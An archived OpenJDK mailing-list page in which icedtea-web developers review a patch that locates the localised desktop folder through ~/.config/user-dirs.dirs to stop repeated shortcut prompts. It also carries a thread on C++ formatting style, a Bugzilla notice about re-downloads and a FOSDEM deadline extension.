XDG_DESKTOP_DIR="$HOME/Skrivbord" >> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >> XDG_TEMPLATES_DIR="$HOME/Mallar" >> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >> XDG_DOCUMENTS_DIR="$HOME/Dokument" >> XDG_MUSIC_DIR="$HOME/Musik" >> XDG_PICTURES_DIR="$HOME/Bilder" >> XDG_VIDEOS_DIR="$HOME/Video" >> > > I see.. This is very valid point and I have hoped to hear something like this. > Do you think it is correct to get this information from ~/.config/user-dirs.dirs ? > It sound good enough to me to parse it... As it is standartized in freedesktop.org. > > Thanx for reply, > > J. So here is improved version which is parsing fro ~/.config/user-dirs.dirs. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedRecreationOfDesktopIcon-0002.patch Type: text/x-patch Size: 7908 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121224/fec43f45/fixedRecreationOfDesktopIcon-0002.patch From jvanek at redhat.com Mon Dec 24 12:51:40 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 24 Dec 2012 21:51:40 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D8615D.5080708@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> <50D8615D.5080708@redhat.com> Message-ID: <50D8C05C.80501@redhat.com> On 12/24/2012 03:06 PM, Jiri Vanek wrote: > On 12/21/2012 07:55 PM, Jiri Vanek wrote: >> On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >>> 2012-12-21 17:05, Jiri Vanek skrev: >>>> Hi! This is fix for http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP applications will prompt for creating desktop shortcuts every time they are run >>>> >>>> When I have seen Omairs original patch it was too much complicated, So I want at least to try this one. >>>> It is pretty simple. The disadvantage however is: >>>> + public File getFinalLinuxDesktopIconFile() { >>>> + return new File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>>> + } >>>> >>>> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >>>> >>>> However .. can it be enough? >>>> >>>> The second patch is for testing purposes of this case which I would like to push forward as soon as possible. >>>> >>>> J. >>> >>> This will be broken on non-english systems. >>> >>> The name of the Desktop folder gets localized on many distributions. >>> For example the Desktop folder is called Skrivbord on Swedish user systems. >>> The configuration of the user desktop folder location is set in the >>> ~/.config/user-dirs.dirs >>> >>> On my system this file contains: >>> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >>> # This file is written by xdg-user-dirs-update >>> # If you want to change or add directories, just edit the line you're >>> # interested in. All local changes will be retained on the next run >>> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >>> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >>> # absolute path. No other format is supported. >>> # >>> XDG_DESKTOP_DIR="$HOME/Skrivbord" >>> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >>> XDG_TEMPLATES_DIR="$HOME/Mallar" >>> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >>> XDG_DOCUMENTS_DIR="$HOME/Dokument" >>> XDG_MUSIC_DIR="$HOME/Musik" >>> XDG_PICTURES_DIR="$HOME/Bilder" >>> XDG_VIDEOS_DIR="$HOME/Video" >>> >> >> I see.. This is very valid point and I have hoped to hear something like this. >> Do you think it is correct to get this information from ~/.config/user-dirs.dirs ? >> It sound good enough to me to parse it... As it is standartized in freedesktop.org. >> >> Thanx for reply, >> >> J. > > So here is improved version which is parsing fro ~/.config/user-dirs.dirs. > > J. This is little bit better and is taking care for all possible variables. Instead all this parsing and substitutions simple exec of echo $(xdg-user-dir DESKTOP) is possible. And it maybe more bullet proof. However I would like avoid Sytem.exec wheres possible. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedRecreationOfDesktopIcon-0003.patch Type: text/x-patch Size: 9105 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121224/c98392f9/fixedRecreationOfDesktopIcon-0003.patch From omajid at redhat.com Thu Dec 27 08:04:25 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 11:04:25 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <20120522204944.GW29866@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> Message-ID: <50DC7189.2010006@redhat.com> On 05/22/2012 04:49 PM, Deepak Bhole wrote: > Given the scope, I think at least one more person should sign off on > this one however. I will be happy to review the patch for this. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 09:59:11 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 12:59:11 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49692.7050007@zafena.se> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> Message-ID: <50DC8C6F.70203@redhat.com> On 12/21/2012 12:04 PM, Xerxes R?nby wrote: > 2012-12-21 17:05, Jiri Vanek skrev: >> to be dependent on System.getProperty("user.home")+"/Desktop/" and .desktop suffix. >> > > This will be broken on non-english systems. +1 It may break on non-english systems too: $ cat .config/user-dirs.dirs | grep DESKTOP_DIR XDG_DESKTOP_DIR="$HOME/desktop" Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 10:04:00 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 13:04:00 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D49071.80107@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> Message-ID: <50DC8D90.8000207@redhat.com> On 12/21/2012 11:38 AM, Adam Domurad wrote: > On 12/21/2012 11:05 AM, Jiri Vanek wrote: >> Hi! This is fix for >> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >> applications will prompt for creating desktop shortcuts every time >> they are run >> >> When I have seen Omairs original patch it was too much complicated, So >> I want at least to try this one. > > Do you know why Omair used explicit locking? I couldn't quite figure it out > My first patch kept a record of all desktop entries that icedtea-web created in a file. This meant that if a user deleted the desktop icon, icedtea-web wouldn't prompt for the creation of that icon again. It was important to lock that record file to prevent multiple icedtea-web processes from editing it simultaneously. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Thu Dec 27 15:52:16 2012 From: omajid at redhat.com (Omair Majid) Date: Thu, 27 Dec 2012 18:52:16 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DC8C6F.70203@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50DC8C6F.70203@redhat.com> Message-ID: <50DCDF30.30101@redhat.com> On 12/27/2012 12:59 PM, Omair Majid wrote: > > It may break on non-english systems too: Typo. I meant "...break on english systems...". Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From bugzilla-daemon at icedtea.classpath.org Fri Dec 28 07:12:38 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Fri, 28 Dec 2012 15:12:38 +0000 Subject: [Bug 906] icedtea always redownloads web start application In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 Adam Domurad changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |adomurad at redhat.com --- Comment #2 from Adam Domurad --- Icedtea-web relies on the http header field "last-modified" (a list of http header fields can be found here http://en.wikipedia.org/wiki/List_of_HTTP_header_fields). This field is missing for this jar, I'm not sure what Oracle does in this scenario. FWIW, -noupdate works just fine for me. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121228/4ad6f38c/attachment.html From adomurad at redhat.com Fri Dec 28 09:15:36 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 28 Dec 2012 12:15:36 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50D8C05C.80501@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49692.7050007@zafena.se> <50D4B0AD.2030309@redhat.com> <50D8615D.5080708@redhat.com> <50D8C05C.80501@redhat.com> Message-ID: <50DDD3B8.2080606@redhat.com> On 12/24/2012 03:51 PM, Jiri Vanek wrote: > On 12/24/2012 03:06 PM, Jiri Vanek wrote: >> On 12/21/2012 07:55 PM, Jiri Vanek wrote: >>> On 12/21/2012 06:04 PM, Xerxes R?nby wrote: >>>> 2012-12-21 17:05, Jiri Vanek skrev: >>>>> Hi! This is fix for >>>>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>>>> applications will prompt for creating desktop shortcuts every time >>>>> they are run >>>>> >>>>> When I have seen Omairs original patch it was too much >>>>> complicated, So I want at least to try this one. >>>>> It is pretty simple. The disadvantage however is: >>>>> + public File getFinalLinuxDesktopIconFile() { >>>>> + return new >>>>> File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>>>> + } >>>>> >>>>> to be dependent on System.getProperty("user.home")+"/Desktop/" and >>>>> .desktop suffix. >>>>> >>>>> However .. can it be enough? >>>>> >>>>> The second patch is for testing purposes of this case which I >>>>> would like to push forward as soon as possible. >>>>> >>>>> J. >>>> >>>> This will be broken on non-english systems. >>>> >>>> The name of the Desktop folder gets localized on many distributions. >>>> For example the Desktop folder is called Skrivbord on Swedish user >>>> systems. >>>> The configuration of the user desktop folder location is set in the >>>> ~/.config/user-dirs.dirs >>>> >>>> On my system this file contains: >>>> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >>>> # This file is written by xdg-user-dirs-update >>>> # If you want to change or add directories, just edit the line you're >>>> # interested in. All local changes will be retained on the next run >>>> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >>>> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >>>> # absolute path. No other format is supported. >>>> # >>>> XDG_DESKTOP_DIR="$HOME/Skrivbord" >>>> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >>>> XDG_TEMPLATES_DIR="$HOME/Mallar" >>>> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >>>> XDG_DOCUMENTS_DIR="$HOME/Dokument" >>>> XDG_MUSIC_DIR="$HOME/Musik" >>>> XDG_PICTURES_DIR="$HOME/Bilder" >>>> XDG_VIDEOS_DIR="$HOME/Video" >>>> >>> >>> I see.. This is very valid point and I have hoped to hear something >>> like this. >>> Do you think it is correct to get this information from >>> ~/.config/user-dirs.dirs ? >>> It sound good enough to me to parse it... As it is standartized in >>> freedesktop.org. >>> >>> Thanx for reply, >>> >>> J. >> >> So here is improved version which is parsing fro >> ~/.config/user-dirs.dirs. >> >> J. > > > This is little bit better and is taking care for all possible > variables. Instead all this parsing and substitutions simple exec of > echo $(xdg-user-dir DESKTOP) is possible. And it maybe more bullet > proof. However I would like avoid Sytem.exec wheres possible. > > J. > thanks, comments inline > diff -r a16da8b96a0f > netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java > --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon > Dec 24 13:58:31 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon > Dec 24 21:38:14 2012 +0100 > @@ -146,7 +146,13 @@ > private void addMenuAndDesktopEntries() { > XDesktopEntry entry = new XDesktopEntry(file); > ShortcutDesc sd = file.getInformation().getShortcut(); > - > + if (entry.getFinalLinuxDesktopIconFile().exists()) { > + if (JNLPRuntime.isDebug()) { > + System.out.println("ApplicationInstance.addMenuAndDesktopEntries(): > file - " > + + > entry.getFinalLinuxDesktopIconFile().getAbsolutePath() + " already > exists. Not proceeding with desktop additions"); > + } > + return; > + } > if (shouldCreateShortcut(sd)) { > entry.createDesktopShortcut(); > } > diff -r a16da8b96a0f netx/net/sourceforge/jnlp/util/XDesktopEntry.java > --- a/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Mon Dec 24 > 13:58:31 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Mon Dec 24 > 21:38:14 2012 +0100 > @@ -16,16 +16,24 @@ > > package net.sourceforge.jnlp.util; > > +import java.io.BufferedReader; > import java.io.File; > import java.io.FileNotFoundException; > import java.io.FileOutputStream; > +import java.io.FileReader; > import java.io.IOException; > import java.io.OutputStreamWriter; > import java.io.Reader; > import java.io.StringReader; > import java.net.URL; > import java.nio.charset.Charset; > +import java.util.ArrayList; > import java.util.Arrays; > +import java.util.Collections; > +import java.util.Comparator; > +import java.util.List; > +import java.util.Map.Entry; > +import java.util.Set; > > import net.sourceforge.jnlp.IconDesc; > import net.sourceforge.jnlp.JNLPFile; > @@ -48,6 +56,7 @@ > > public static final String JAVA_ICON_NAME = "java"; > > + > private JNLPFile file = null; > private int iconSize = -1; > private String iconLocation = null; > @@ -78,7 +87,7 @@ > > String fileContents = "[Desktop Entry]\n"; > fileContents += "Version=1.0\n"; > - fileContents += "Name=" + sanitize(file.getTitle()) + "\n"; > + fileContents += "Name=" + getDesktopIconFinalName() + "\n"; > fileContents += "GenericName=Java Web Start Application\n"; > fileContents += "Comment=" + > sanitize(file.getInformation().getDescription()) + "\n"; > fileContents += "Type=Application\n"; > @@ -122,6 +131,11 @@ > return iconSize; > } > > + public File getShortcutTmpFile() { > + File shortcutFile = new > File(JNLPRuntime.getConfiguration().getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) > + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + > ".desktop"); bit of a mouthful, a temporary variable here for the user directory would be good. > + return shortcutFile; > + } > + > /** > * Set the icon size to use for the desktop shortcut > * > @@ -148,9 +162,7 @@ > * Install this XDesktopEntry into the user's desktop as a launcher > */ > private void installDesktopLauncher() { > - File shortcutFile = new File(JNLPRuntime.getConfiguration() > - .getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) > - + File.separator + > FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); > + File shortcutFile = getShortcutTmpFile(); > try { > > if (!shortcutFile.getParentFile().isDirectory() && > !shortcutFile.getParentFile().mkdirs()) { > @@ -234,4 +246,80 @@ > } > } > > + public String getDesktopIconFinalName() { I don't understand what is 'final' about it ? Why can it simply not be called the icon name? > + return sanitize(file.getTitle()); > + } > + > + public File getFinalLinuxDesktopIconFile() { Similarly I don't understand what makes this the final linux desktop icon file, vs 'getLinuxDesktopIconFile' > + return new File(findFreedesktopOrgDesktopPathCatch() + > getDesktopIconFinalName() + ".desktop"); > + } > + > + public static String findFreedesktopOrgDesktopPathCatch() { I'm all for splitting into many small methods, but I don't know how I feel about findFreedesktopOrgDesktopPathCatch, findFreedesktopOrgDesktopPath, getFreedesktopOrgDesktopPathFrom all being public, separate methods. I think just inlining all the logic into one findFreedesktopOrgDesktopPath() method suffices, also the name 'findFreedesktopOrgDesktopPathCatch' says too much about the implementation IMO. > + try { > + return findFreedesktopOrgDesktopPath(); > + } catch (Exception ex) { I think catching Exception is (almost) always a bad idea, it can silence even array-out-of-bounds. I think IOException suffices. > + return System.getProperty("user.home") + "/Desktop/"; > + } > + } > + > + public static String findFreedesktopOrgDesktopPath() throws > IOException { > + File userDirs = new File(System.getProperty("user.home") + > "/.config/user-dirs.dirs"); > + if (!userDirs.exists()) { > + return System.getProperty("user.home") + "/Desktop/"; > + } > + return getFreedesktopOrgDesktopPathFrom(userDirs); > + } > + > + public static String getFreedesktopOrgDesktopPathFrom(File > userDirs) throws IOException { > + BufferedReader r = new BufferedReader(new FileReader(userDirs)); > + try { > + return getFreedesktopOrgDesktopPathFrom(r); > + } finally { > + r.close(); > + } > + > + } > + > + public static final String XDG_DESKTOP_DIR = "XDG_DESKTOP_DIR"; > + > + public static String > getFreedesktopOrgDesktopPathFrom(BufferedReader r) throws IOException { This is a helper method and shouldn't be public IMO. > + while (true) { > + String s = r.readLine(); > + if (s == null) { > + throw new IOException("End of user-dirs found, but no > " + XDG_DESKTOP_DIR + " key found"); > + } > + s = s.trim(); > + if (s.startsWith(XDG_DESKTOP_DIR)) { > + if (!s.contains("=")) { > + throw new IOException(XDG_DESKTOP_DIR + " have no > value"); s/have/has/ > + } > + String[] ss = s.split("="); rename 'ss' to 'keyvalue' or something, and the reason ss[1] is used will be clearer IMO. > + ss[1] = ss[1].trim(); > + return evaluateVariables(ss[1]); > + } > + } > + } > + > + private static String evaluateVariables(String orig) { > + > + Set> env = System.getenv().entrySet(); > + List> envVariables = new > ArrayList> (env); > + Collections.sort(envVariables, new Comparator String>>(){ > + > + @Override > + public int compare(Entry o1, > Entry o2) { > + return o2.getKey().length()-o1.getKey().length(); > + } > + }); > + while (true) { > + String before = orig; > + for (Entry entry : envVariables) { > + orig=orig.replaceAll("\\$"+entry.getKey(), > entry.getValue()); > + } > + if (before.equals(orig)) { > + return orig; > + } > + } > + > + } > } > diff -r a16da8b96a0f > tests/netx/unit/net/sourceforge/jnlp/util/XDesktopEntryTest.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/netx/unit/net/sourceforge/jnlp/util/XDesktopEntryTest.java > Mon Dec 24 21:38:14 2012 +0100 > @@ -0,0 +1,59 @@ > +/* > + * To change this template, choose Tools | Templates > + * and open the template in the editor. > + */ Netbeans user are you ? Anyway this should be gone. > +package net.sourceforge.jnlp.util; > + > +import java.io.BufferedReader; > +import java.io.IOException; > +import java.io.StringReader; > +import org.junit.Assert; > +import org.junit.Test; > + > +public class XDesktopEntryTest { > + > + private String des1 = "/my/little/Desktop"; > + private String des2name = "Plocha"; > + private String des2Res = System.getProperty("user.home") + "/" + > des2name; > + private String des2 = "$HOME" + "/" + des2name; > + private String src1 = XDesktopEntry.XDG_DESKTOP_DIR + "=" + des1; > + private String src2 = " " + XDesktopEntry.XDG_DESKTOP_DIR + " = > " + des1; > + private String src3 = "#" + XDesktopEntry.XDG_DESKTOP_DIR + " = " > + des1; > + private String src4 = XDesktopEntry.XDG_DESKTOP_DIR + "=" + des2; > + private String src5 = " " + XDesktopEntry.XDG_DESKTOP_DIR + " = > " + des2; > + private String src6 = "#" + XDesktopEntry.XDG_DESKTOP_DIR + " = " > + des2; > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSimple() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src1))); > + Assert.assertEquals(s, des1); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSpaced() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src2))); > + Assert.assertEquals(s, des1); > + } > + > + @Test(expected = IOException.class) > + public void getFreedesktopOrgDesktopPathFromtestCommented() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src3))); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSimpleWithHome() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src4))); > + Assert.assertEquals(s, des2Res); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSpacedWithHome() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src5))); > + Assert.assertEquals(s, des2Res); > + } > + > + @Test(expected = IOException.class) > + public void > getFreedesktopOrgDesktopPathFromtestCommentedWithHome() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src6))); > + } > +} Test looks OK Just one additional comment, as Omair pointed out his patch had nice functionality when a desktop icon was deleted (it did not prompt again for desktop icon to be created). It is worth considering. Happy hacking, -Adam From adomurad at redhat.com Fri Dec 28 14:16:45 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 28 Dec 2012 17:16:45 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DC71C6.7060002@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> Message-ID: <50DE1A4D.4030301@redhat.com> Originally sent this off-list, sorry. On 12/27/2012 11:05 AM, Omair Majid wrote: > I didn't see a patch posted in the email thread, but I am willing to > look at one when it's posted. > > Omair > Okay, lets give it a try then. Overall I was a little disappointed with the customization that the formatting options allowed. Formatting used was essentially standard K&R format that comes with Eclipse, except: - spaces only (no tabs) - 100-width line wraps, this is a debatable choice but the result felt truer to what was there before Options played around with: - Do not attempt to join wrapped lines -- would allow for keeping some of the manually formatted code, but has unpleasant side effects. It may be worthy to turn on 'do not attempt to join wrapped lines' once the autoformating has taken place, however note that it would not join any lines so it would not eg enforce K&R brace style effectively. I'll post the formatting profile once it's been finalized. Just posting HEAD formatted for now pending feedback (Have fun reading the diff!). Happy hacking, -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: new-format.patch Type: text/x-patch Size: 388530 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121228/c7acc5f9/new-format.patch From omajid at redhat.com Fri Dec 28 15:07:05 2012 From: omajid at redhat.com (Omair Majid) Date: Fri, 28 Dec 2012 18:07:05 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DE1A4D.4030301@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> <50DE1A4D.4030301@redhat.com> Message-ID: <50DE2619.4030201@redhat.com> On 12/28/2012 05:16 PM, Adam Domurad wrote: > Originally sent this off-list, sorry. > > On 12/27/2012 11:05 AM, Omair Majid wrote: >> I didn't see a patch posted in the email thread, but I am willing to >> look at one when it's posted. >> >> Omair >> > Okay, lets give it a try then. Overall I was a little disappointed with > the customization that the formatting options allowed. > > Formatting used was essentially standard K&R format that comes with > Eclipse, except: > - spaces only (no tabs) > - 100-width line wraps, this is a debatable choice but the result > felt truer to what was there before > > Options played around with: > - Do not attempt to join wrapped lines -- would allow for keeping > some of the manually formatted code, but has unpleasant side effects. It > may be worthy to turn on 'do not attempt to join wrapped lines' once the > autoformating has taken place, however note that it would not join any > lines so it would not eg enforce K&R brace style effectively. > > I'll post the formatting profile once it's been finalized. > > Just posting HEAD formatted for now pending feedback (Have fun reading > the diff!). On a quick look, one thing jumps out at me: -bool -JavaRequestProcessor::newMessageOnBus(const char* message) -{ +bool JavaRequestProcessor::newMessageOnBus(const char* message) { The K&R indentation style places the opening brace in the line below the function prototype: +bool JavaRequestProcessor::newMessageOnBus(const char* message) +{ Also, this patch may need some manual tweaks. Some if statements with comments on the conditional have the opening brace on the next line rather than on the same line: + } else if (!message_parts->at(4)->find("GetStringChars")) // GetStringChars (UTF-16LE/UCS-2) + { I will take a more detailed look at this soon. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From jvanek at redhat.com Sat Dec 29 10:32:39 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Sat, 29 Dec 2012 19:32:39 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DC8D90.8000207@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> <50DC8D90.8000207@redhat.com> Message-ID: <50DF3747.9090202@redhat.com> On 12/27/2012 07:04 PM, Omair Majid wrote: > On 12/21/2012 11:38 AM, Adam Domurad wrote: >> On 12/21/2012 11:05 AM, Jiri Vanek wrote: >>> Hi! This is fix for >>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>> applications will prompt for creating desktop shortcuts every time >>> they are run >>> >>> When I have seen Omairs original patch it was too much complicated, So >>> I want at least to try this one. >> >> Do you know why Omair used explicit locking? I couldn't quite figure it out >> > > My first patch kept a record of all desktop entries that icedtea-web > created in a file. This meant that if a user deleted the desktop icon, > icedtea-web wouldn't prompt for the creation of that icon again. > I was thinking about it in vice-versa. If he had already created icon, and then he delted it. And some time later he launch application again, I would expect he would like to be asked again. However, when he will refuse to create an desktop icon then he should not be asked again.. that is *probably* true, but I'm not so sure... And to achieve this something like your previous approach is needed. So what do you think about combination of my and yours approach? > It was important to lock that record file to prevent multiple > icedtea-web processes from editing it simultaneously. > > Cheers, > Omair From omajid at redhat.com Mon Dec 31 06:17:00 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 31 Dec 2012 09:17:00 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DF3747.9090202@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> <50DC8D90.8000207@redhat.com> <50DF3747.9090202@redhat.com> Message-ID: <50E19E5C.1010103@redhat.com> On 12/29/2012 01:32 PM, Jiri Vanek wrote: > On 12/27/2012 07:04 PM, Omair Majid wrote: >> On 12/21/2012 11:38 AM, Adam Domurad wrote: >>> On 12/21/2012 11:05 AM, Jiri Vanek wrote: >>>> Hi! This is fix for >>>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>>> applications will prompt for creating desktop shortcuts every time >>>> they are run >>>> >>>> When I have seen Omairs original patch it was too much complicated, So >>>> I want at least to try this one. >>> >>> Do you know why Omair used explicit locking? I couldn't quite figure >>> it out >>> >> >> My first patch kept a record of all desktop entries that icedtea-web >> created in a file. This meant that if a user deleted the desktop icon, >> icedtea-web wouldn't prompt for the creation of that icon again. >> > > I was thinking about it in vice-versa. If he had already created icon, > and then he delted it. And some time later he launch application again, > I would expect he would like to be asked again. I don't have strong feelings about this either way. Some user testing might prove insightful. > However, when he will refuse to create an desktop icon then he should > not be asked again.. that is *probably* true, but I'm not so sure... And > to achieve this something like your previous approach is needed. This sounds sensible to me too. > So what do you think about combination of my and yours approach? Sounds fine to me. I think it would be best to get the behaviour that we are sure is needed (what your initial patch does) into icedtea-web, and then we can try and figure out what to do with the corner cases where the right thing to do is not as obvious. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Mon Dec 31 07:08:57 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 31 Dec 2012 10:08:57 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DE2619.4030201@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> <50DE1A4D.4030301@redhat.com> <50DE2619.4030201@redhat.com> Message-ID: <50E1AA89.4080502@redhat.com> On 12/28/2012 06:07 PM, Omair Majid wrote: > On a quick look, one thing jumps out at me: > > -bool > -JavaRequestProcessor::newMessageOnBus(const char* message) > -{ > +bool JavaRequestProcessor::newMessageOnBus(const char* message) { > > The K&R indentation style places the opening brace in the line below the > function prototype: > > +bool JavaRequestProcessor::newMessageOnBus(const char* message) > +{ I didn't mean to imply that this should be changed to conform to K&R style, just that we should note that this is not exactly the same as K&R. I like how this is similar enough to our Java style that you don't have to think about formatting when switching from one language to the other. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From neugens at redhat.com Thu Dec 20 08:58:33 2012 From: neugens at redhat.com (Mario Torre) Date: Thu, 20 Dec 2012 16:58:33 -0000 Subject: FOSDEM 2013 Free Java DevRoom Call for Papers deadline extended Message-ID: <1356022708.25310.47.camel@pegasus> Hi all, The Free Java Dev Room Committee has decided to extend the deadline to the 4th of January 2013, 23.59 CET. We want to see more papers coming and this is a great opportunity to propose yours if you haven't done already :) Cheers, Mario